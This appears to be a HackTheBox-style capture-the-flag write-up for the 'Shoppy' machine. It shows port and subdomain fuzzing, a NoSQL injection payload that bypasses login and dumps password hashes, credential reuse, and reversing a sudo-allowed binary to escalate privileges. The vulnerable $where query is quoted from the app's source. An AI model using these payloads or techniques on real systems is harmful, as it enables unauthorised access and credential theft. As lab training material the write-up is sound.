

Shoppy

nmap

A normal scan reveals port 22 and 80

All port scan reveals 9093 as well

Additional info:

- Upon causing a 404 error, the page returns "Cannot GET /", which is a NodeJS error
- port 9093 shows a page with a bunch of text including "go", "heap_alloc", and "playbook"

fuzzing

Fuzzing for some interesting subdomains:

```
$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u 10.10.11.180 -H "Host: FUZZ.shoppy.htb" --hc 301
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://10.10.11.180/
Total requests: 100000
```

ID	Response	Lines	Word	Chars	Payload
000047340:	200	0 L	141 W	3122 Ch	"mattermost"

Additionally, fuzzing for some interesting subdirectories:

```

└─$ wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 "http://shoppy.htb/FUZZ"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not wor
*****
* Wfuzz 3.1.0 - The Web Fuzzer *
*****

Target: http://shoppy.htb/FUZZ
Total requests: 220560

```

ID	Response	Lines	Word	Chars	Payload
000000001:	200	56 L	129 W	2178 Ch	"# directory-list-2.3-medium.txt"
000000007:	200	56 L	129 W	2178 Ch	"# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000003:	200	56 L	129 W	2178 Ch	"# Copyright 2007 James Fisher"
000000009:	200	56 L	129 W	2178 Ch	"# Suite 300, San Francisco, California, 94105, USA."
000000012:	200	56 L	129 W	2178 Ch	"# on atleast 2 different hosts"
000000008:	200	56 L	129 W	2178 Ch	"# or send a letter to Creative Commons, 171 Second Street,"
000000016:	301	10 L	16 W	179 Ch	"images"
000000011:	200	56 L	129 W	2178 Ch	"# Priority ordered case sensitive list, where entries were found"
000000006:	200	56 L	129 W	2178 Ch	"# Attribution-Share Alike 3.0 License. To view a copy of this"
000000014:	200	56 L	129 W	2178 Ch	"http://shoppy.htb/"
000000010:	200	56 L	129 W	2178 Ch	"#"
000000013:	200	56 L	129 W	2178 Ch	"#"
000000005:	200	56 L	129 W	2178 Ch	"# This work is licensed under the Creative Commons"
000000004:	200	56 L	129 W	2178 Ch	"#"
000000002:	200	56 L	129 W	2178 Ch	"#"
000000053:	200	25 L	62 W	1074 Ch	"login"
000000291:	301	10 L	16 W	179 Ch	"assets"
000000259:	302	0 L	4 W	28 Ch	"admin"
000000550:	301	10 L	16 W	173 Ch	"css"
000000825:	200	25 L	62 W	1074 Ch	"Login"
000000953:	301	10 L	16 W	171 Ch	"js"
000002771:	301	10 L	16 W	177 Ch	"fonts"

NoSQL Injection

on shoppy.htb/login

the following payload bypasses authentication:

```
admin' || '1' === '1
```

using the same payload for the webapp's search users feature:

```
' || '1' === '1
```

The search reveals password hashes as well:

admin:23c6877d9e2b564ef8b32c3a23de27b2

josh:6ebcea65320589ca4f2f1ce039975995

-> crackstation only cracks one:

josh:remembermethisway

Why the injection works:

On the backend:

```
this.username === '{input}' && this.password === '{input}'
```

With payload:

```
this.username === 'admin' || '1' === '1' && this.password === 'doggydoodoo'
```

mattermost

The creds from the main webapp are for mattermost
josh:remembermethisway

Upon logging in, we see a chat with jaeger revealing creds:
jaeger:Sh0ppyBest@pp!

this is jaeger's password to the box. we got user!

priv esc

sudo -l as jaeger gives:
(deploy) /home/deploy/password-manager

trying to use the binary, it asks for a master password, which is unknown.

let's reverse engineer the password

first, secure copy the file over to our machine:
scp jaeger@10.10.11.180:/home/deploy/password-manager ./password-manager

then, using ghidra, we can decompile the main function to find the master password:
Sample

doing so and using the password, we get more creds:
deploy:Deploying@pp!

post root

after some digging, found the source code which handles login at shoppy.htb/login

inside /home/jaeger/ShoppyApp/index.js:

```
const query = { $where: `this.username === '${username}' && this.password === '${passToTest}'` };
```

which is why the NoSQL Injection payload admin' || '1' === '1' worked

With payload:

```
const query = { $where: `this.username === 'admin' || '1' === '1' && this.password === '${passToTest}'` };
```